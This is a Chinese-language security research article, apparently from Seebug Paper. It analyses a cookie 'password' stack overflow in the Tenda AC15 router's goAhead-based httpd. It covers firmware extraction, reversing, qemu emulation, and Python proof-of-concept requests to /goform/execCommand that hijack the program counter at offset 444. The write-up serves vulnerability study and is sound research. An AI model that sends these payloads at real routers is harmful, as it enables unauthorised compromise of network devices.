作者:Ryze-T
本文為作者投稿,Seebug Paper 期待你的分享,凡經采用即有禮品相送! 投稿郵箱:paper@seebug.org

0x00 簡介

固件下載地址:https://us.softpedia-secure-download.com/dl/50b0d70af21488030c14cb2bd30e63b3/63008144/300482999/drivers/router/US_AC15V1.0BR_V15.03.1.16_multi_TD01.rar

CVE 詳情:

image

從 Description 中可知,由 COOIKE 請求頭中的 password 參數觸發遠程代碼執行漏洞,因此固件中要分析的文件應該是 HTTP 相關的文件。

0x01 固件提取

binwalk -Me US_AC15V1.0BR_V15.03.1.16_multi_TD01.bin

得到 squashfs-root 文件夾。bin 文件下有個 httpd 二進制文件:

image

arm32 架構的程序。

0x02 分析

搜索 web 相關函數:

image

百度搜索這些函數,會發現這使用的是 goAhead 框架。字符串搜索 .1 找到一個 2.1.8,很像是版本號,搜索下載 goAhead 2.1.8。其中 webs.h 中有一個結構體:

typedef struct websRec {
    ringq_t            header;                /* Header dynamic string */
    time_t            since;                /* Parsed if-modified-since time */
    sym_fd_t        cgiVars;            /* CGI standard variables */
    sym_fd_t        cgiQuery;            /* CGI decoded query string */
    time_t            timestamp;            /* Last transaction with browser */
    int            timeout;            /* Timeout handle */
    char_t            ipaddr[32];            /* Connecting ipaddress */
    char_t            type[64];            /* Mime type */
    char_t            *dir;                /* Directory containing the page */
    char_t            *path;                /* Path name without query */
    char_t            *url;                /* Full request url */
    char_t            *host;                /* Requested host */
    char_t            *lpath;                /* Cache local path name */
    char_t            *query;                /* Request query */
    char_t            *decodedQuery;        /* Decoded request query */
    char_t            *authType;            /* Authorization type (Basic/DAA) */
    char_t            *password;            /* Authorization password */
    char_t            *userName;            /* Authorization username */
    char_t            *cookie;            /* Cookie string */
    char_t            *userAgent;            /* User agent (browser) */
    char_t            *protocol;            /* Protocol (normally HTTP) */
    char_t            *protoVersion;        /* Protocol version */
    int            sid;                /* Socket id (handler) */
    int            listenSid;            /* Listen Socket id */
    int            port;                /* Request port number */
    int            state;                /* Current state */
    int            flags;                /* Current flags -- see above */
    int            code;                /* Request result code */
    int            clen;                /* Content length */
    int            wid;                /* Index into webs */
    char_t            *cgiStdin;            /* filename for CGI stdin */
    int            docfd;                /* Document file descriptor */
    int            numbytes;            /* Bytes to transfer to browser */
    int            written;            /* Bytes actually transferred */
    void            (*writeSocket)(struct websRec *wp);
} websRec;

typedef websRec    *webs_t;
typedef websRec websType;

找到里面特殊的 ringq_t 結構體:

typedef struct {
    unsigned char    *buf;                /* Holding buffer for data */
    unsigned char    *servp;                /* Pointer to start of data */
    unsigned char    *endp;                /* Pointer to end of data */
    unsigned char    *endbuf;            /* Pointer to end of buffer */
    int                buflen;                /* Length of ring queue */
    int                maxsize;            /* Maximum size */
    int                increment;            /* Growth increment */
} ringq_t;

sym_fd_t 其實就是 int,char_t 就是 char。

格式化后將這兩個結構體導入到 IDA 中。

image

goAhead 2.1.8 的 main.c 中有一段:

image

IDA pro 中 sub_2D3F0 也有類似的一段:

image

這個 R7WebSceurityHandler 應該是二次開發的函數。

WebSceurityHandler 函數官方文檔表明是用來做默認 URL 的安全策略的函數,若需要替換安全策略,可以修改該函數。

其函數原型如下:

 #include "webs.h" 

 int websSecurityHandler(webs_t wp, char_t *url, char_t *path, char_t *query);

再來看 R7WebsSecurityHandler,往下翻翻就能看見一個未經限制的 sscanf:

image

對照 WebSceurityHandler,將 a1 替換成之前的 websRec 結構體:

image

漏洞觸發點出來了,cookie 中 password 的值未經過濾,可能會導致棧溢出。

但是要達到這條路徑沒有那么簡單,還有一些條件:

image

因此需要找一個符合條件的目錄,比如 goform/execCommand。

0x03 固件模擬

qemu-arm 指定根路徑啟動httpd:

qemu-arm -L ./  ./bin/httpd

image

找到關鍵詞:

image

有一個關于 check_network函數的校驗,可能會導致死循環,先patch掉:

image

再次運行還是報錯:

image

再次搜索關鍵詞,發現觸發了 ConnectCfm(v2) 的判斷,再patch,再執行:

image

監聽255.255.255.255了,這里配置一下橋接網絡。

apt install uml-utilities bridge-utils
brctl addbr br0
brctl addif br0 eth0
ifconfig br0 up
dhclient br0
chroot ./ ./qemu-arm-static ./bin/httpd

image

image

0x04 PoC

import requests

url = "http://10.211.55.21:80/goform/execCommand"

payload = 'a' * 500
headers = {
    'Cookie': 'password="' + payload + '"'
}

print(headers)

response = requests.request("GET", url, headers=headers)

gdb-multiarch 調試一下,程序斷在這:

image

可以看到,r3已經被覆蓋為 'aaaa',由于程序訪問了r3處的內存,造成內存讀取錯誤,程序并沒有走到函數返回處。

通過對花括號的匹配,漏洞觸發點后續的代碼運行都取決于93-100行的判斷:

image

此判斷是判斷 url 中是否包含一些特征字符,那么只需要在url后加入 .png 就可以使判斷失敗,從而直接運行到函數尾部。

但在在判斷前,url已經被我們所覆蓋,因此只要在payload中加上.png就可以完成目標。

再次嘗試并計算偏移:

import requests

url = "http://10.211.55.21:80/goform/execCommand"

payload = 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae' +".png"
headers = {
    'Cookie': 'password=' + payload
}

print(headers)

response = requests.request("GET", url, headers=headers)

image

PC被劫持,且偏移為444。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2065/